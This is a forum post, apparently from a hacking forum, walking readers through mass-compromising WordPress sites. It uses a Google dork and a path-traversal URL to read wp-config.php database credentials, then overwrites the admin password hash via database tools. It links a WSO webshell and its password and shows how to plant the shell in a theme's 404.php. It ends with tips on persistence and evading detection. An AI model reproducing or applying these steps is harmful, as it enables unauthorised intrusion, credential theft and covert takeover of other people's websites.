Apr 15, 2015 07:38 PM
(This post was last modified: Apr 15, 2015 07:52 PM by mObiIe.)
[img]http://www.binaryideasmobile.com/assets/public_/images/img_app.png[/img]
![[Image: Yy3Prle.png]](https://i.imgur.com/Yy3Prle.png)
![[Image: Yy3Prle.png]](https://i.imgur.com/Yy3Prle.png)
A few days ago Killabιts~ posted the latest public WordPress exploit..
Quote:https://hackforums.net/showthread.php?tid=4777782
Source:
Quote:http://www.exploit-db.com/exploits/36733/
But did not really go into detail how to fully run this, so I thought I'd explain to some of you how it's done.
Tutorial:
1.) Google Dork:
PHP Code
<?php
inurl:?fdx_switcher=mobile
![[Image: cGtf7jK.png?1]](https://i.imgur.com/cGtf7jK.png?1)
2.) Pick a target from google and add this path to the end of the URL:
PHP Code
<?php
/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php
EXAMPLE:
PHP Code
<?php
http://target.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php
3.) If the target is vulnerable you will see the wp.config.php file.
![[Image: FgOjrE1.jpg]](https://i.imgur.com/FgOjrE1.jpg)
4.) Notice the MySQL database credentials ;
Quote: DB_NAME:
DB_USER:
DB_PASSWORD:
DB_HOST:
There are 3 methods you can try to connect to the database.
Method #1:
Use a database administration tool for MySQL. like DBkiss or Adminer. If you don't have one you can use DBkiss hosted from my tool-box.
PHP Code
<?php
http://www.fitsolutions.com.tr/wp-content/themes/vflex/dbkiss2.php
Next enter the database credentials, if you see "localhost" under DB_HOST: Use a URL to IP Converter to resolve the server IP.
PHP Code
<?php
http://freelabs.info/urltoiponline.aspx
![[Image: oWuURa1.jpg]](https://i.imgur.com/oWuURa1.jpg)
![[Image: 6nU1dWd.jpg]](https://i.imgur.com/6nU1dWd.jpg)
Then connect.
If successful, locate a user directory like "wp-users" "users" ..ect and click edit.
![[Image: UQHOhFH.jpg]](https://i.imgur.com/UQHOhFH.jpg)
Next copy the admin/users password and paste it in a notepad (you will need it later)
Now go to a MD5 hash generator and create a password of your choosing and paste it in the same notepad.
PHP Code
<?php
http://www.md5hashgenerator.com/index.php
![[Image: f1TTFCZ.jpg]](https://i.imgur.com/f1TTFCZ.jpg)
Ok now go back, edit and paste your MD5 password under admin's pass, and click Edit.
![[Image: 5WzaAUH.jpg]](https://i.imgur.com/5WzaAUH.jpg)
![[Image: k5TgXFz.jpg]](https://i.imgur.com/k5TgXFz.jpg)
![[Image: RMBHH6q.jpg]](https://i.imgur.com/RMBHH6q.jpg)
Ok now that, that's done, let's login at:
PHP Code
<?php
http://www.target.com/wp-login.php
![[Image: 6zuHLHN.jpg]](https://i.imgur.com/6zuHLHN.jpg)
WordPress Dashboard:
![[Image: 5GX7zyN.jpg]](https://i.imgur.com/5GX7zyN.jpg)
Method #2:
If method 1 does not work, you can try:
PHP Code
<?php
/phpmyadmin/index.php
/phpMyAdmin/index.php
/pma/index.php
EXAMPLE:
PHP Code
<?php
http://target.com/phpmyadmin/index.php
Like in method 1 change the admin password with your own. then login.
PHP Code
<?php
http://www.target.com/wp-login.php
![[Image: M9B3DYm.jpg]](https://i.imgur.com/M9B3DYm.jpg)
Method #3:
This method is a last resort. Some admins are stupid enough to use the same password for the MySQL database and WP Dashboard login. Just enter the details in the wp-login. And 80% of the time the username will be admin
![[Image: sFjRhrq.jpg]](https://i.imgur.com/sFjRhrq.jpg)
UPLOAD YOUR SHELL THROUGH WORDPRESS DASHBOARD:
Now that were in the WordPress Dashboard let's put our webshell on the site. To do that there are 2 method you can use. First you're gonna need a webshell. If you don't have one I've provided one I use in the link below.
WSO 2.6 Webshell:
Quote:http://pastebin.com/LFnPNNr6
PASSWORD: revolution
First Method:
1.) Once you gain access to the dashboard you will be able to upload your shell to the site by clicking on Appearance then Editor.
![[Image: ZBxLp7X.jpg]](https://i.imgur.com/ZBxLp7X.jpg)
2.) On the left under Templates click on 404 template (404.php)
![[Image: cLDFntI.jpg]](https://i.imgur.com/cLDFntI.jpg)
3.) Next paste your shell code and click "Upload File"
![[Image: ewssKJT.jpg]](https://i.imgur.com/ewssKJT.jpg)
4.) Enter URL below to access your shell.
PHP Code
<?php
www.target/wp-content/themes/THEME NAME /404.php
![[Image: aKMSNUn.jpg]](https://i.imgur.com/aKMSNUn.jpg)
![[Image: 5rC18Hx.jpg]](https://i.imgur.com/5rC18Hx.jpg)
Second Method:
Sometimes it will not let you edit themes from the dashboard to bypass this you need to download a free WordPress theme at:
Quote:https://wordpress.org/themes/browse/popular/
1.)Next open theme.zip and delete the 404.php from the theme.
![[Image: zhGhiW6.jpg]](https://i.imgur.com/zhGhiW6.jpg)
Next open a notepad and cut-n-paste the shell code into it and save it as 404.php and then move it into your theme, and save. Now our shell is in the theme.
2.) Ok now let's upload our theme. Go to Appearance then themes.
![[Image: SK3plKs.jpg]](https://i.imgur.com/SK3plKs.jpg)
3.) Click Install Themes then Upload and install your theme.zip
![[Image: Bg7ub9x.jpg]](https://i.imgur.com/Bg7ub9x.jpg)
![[Image: zAd05fS.jpg]](https://i.imgur.com/zAd05fS.jpg)
4.) Enter URL below to access your shell.
PHP Code
<?php
www.target/wp-content/themes/THEME NAME /404.php
![[Image: aKMSNUn.jpg]](https://i.imgur.com/aKMSNUn.jpg)
![[Image: 5rC18Hx.jpg]](https://i.imgur.com/5rC18Hx.jpg)
Congratulations! You just shelled a WordPress Website. 🎉 From here you can edit/delete ANYTHING on the site, but please do not, these people work hard on there websites so it's best to leave it alone. Instead, save it and use it to host scripts/pics/html/php ..ect
Were not done, remember I told you to save the admins password? To stay undetected replace the admins password in the Database and click Edit/Go and logout. Now everything is back to normal, but we now have our shell on the site. That's it, there are a ton of WordPress website vulnerable to this exploit. Have fun! 🤝


![[Image: LWpI0zO.png]](https://i.imgur.com/LWpI0zO.png)

